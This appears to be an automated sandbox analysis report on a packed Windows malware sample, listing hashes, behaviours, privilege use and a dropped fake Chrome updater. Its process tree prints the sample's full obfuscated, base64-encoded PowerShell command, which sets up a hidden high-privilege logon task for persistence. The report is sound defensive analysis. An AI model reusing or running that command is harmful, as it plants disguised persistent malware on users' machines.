ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc

Analysis

max time kernel
91s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
10-06-2022 08:42

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General

Target

rundll.exe
Size

4.0MB
MD5

8d042aad9f0f5f149fdf1fad7320fad1
SHA1

977ac40982019f42975f36dc603b566ca0f6dc67
SHA256

ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc
SHA512

fe092f1a37b029cafef3e01306dfc9c793792d0f5411c6983c10e671844c0d26652e4d7bf2356531557b8b24e8acb5bcb7c137aa27d96c6ea53ee5b260b75cea

Score

8^/10

vmprotect

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4752	updater.exe

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/memory/3328-130-0x0000000000340000-0x0000000000B0C000-memory.dmp	vmprotect
behavioral2/files/0x0007000000023151-138.dat	vmprotect
behavioral2/files/0x0007000000023151-139.dat	vmprotect

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	rundll.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4120	powershell.exe
4120	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe
Token: 33	4120	powershell.exe
Token: 34	4120	powershell.exe
Token: 35	4120	powershell.exe
Token: 36	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe
Token: 33	4120	powershell.exe
Token: 34	4120	powershell.exe
Token: 35	4120	powershell.exe
Token: 36	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe
Token: 33	4120	powershell.exe
Token: 34	4120	powershell.exe
Token: 35	4120	powershell.exe
Token: 36	4120	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 4120	3328	rundll.exe	79
PID 3328 wrote to memory of 4120	3328	rundll.exe	79

C:\Users\Admin\AppData\Local\Temp\rundll.exe
"C:\Users\Admin\AppData\Local\Temp\rundll.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AaQAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBvAGEAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAE8AbgApACAAPAAjAGwAYwBkAGsAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwB2AHYAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHAAdgAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHIAdQBuAGQAbABsAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHUAbQBvACMAPgA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgADwAIwBiAGEAagAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnADsA"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4120

C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
1⤵
- Executes dropped EXE
PID:4752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe

Filesize
4.0MB

MD5
8d042aad9f0f5f149fdf1fad7320fad1

SHA1
977ac40982019f42975f36dc603b566ca0f6dc67

SHA256
ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc

SHA512
fe092f1a37b029cafef3e01306dfc9c793792d0f5411c6983c10e671844c0d26652e4d7bf2356531557b8b24e8acb5bcb7c137aa27d96c6ea53ee5b260b75cea

Download Submit
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe

Filesize
4.0MB

MD5
8d042aad9f0f5f149fdf1fad7320fad1

SHA1
977ac40982019f42975f36dc603b566ca0f6dc67

SHA256
ad78c9580b03cf3943bb989b3fc8d5cfd37828c2dbef3c9dd7affc36e59092bc

SHA512
fe092f1a37b029cafef3e01306dfc9c793792d0f5411c6983c10e671844c0d26652e4d7bf2356531557b8b24e8acb5bcb7c137aa27d96c6ea53ee5b260b75cea

Download Submit
memory/3328-130-0x0000000000340000-0x0000000000B0C000-memory.dmp

Filesize
7.8MB

Download
memory/3328-131-0x00007FFB908B0000-0x00007FFB91371000-memory.dmp

Filesize
10.8MB

Download
memory/3328-134-0x000000001D470000-0x000000001D482000-memory.dmp

Filesize
72KB

Download
memory/3328-144-0x00007FFB908B0000-0x00007FFB91371000-memory.dmp

Filesize
10.8MB

Download
memory/4120-136-0x000001AD583B0000-0x000001AD583D2000-memory.dmp

Filesize
136KB

Download
memory/4120-137-0x00007FFB908B0000-0x00007FFB91371000-memory.dmp

Filesize
10.8MB

Download
memory/4120-141-0x00007FFB908B0000-0x00007FFB91371000-memory.dmp

Filesize
10.8MB

Download
memory/4752-140-0x00007FFB908B0000-0x00007FFB91371000-memory.dmp

Filesize
10.8MB

Download
memory/4752-145-0x00007FFB908B0000-0x00007FFB91371000-memory.dmp

Filesize
10.8MB

Download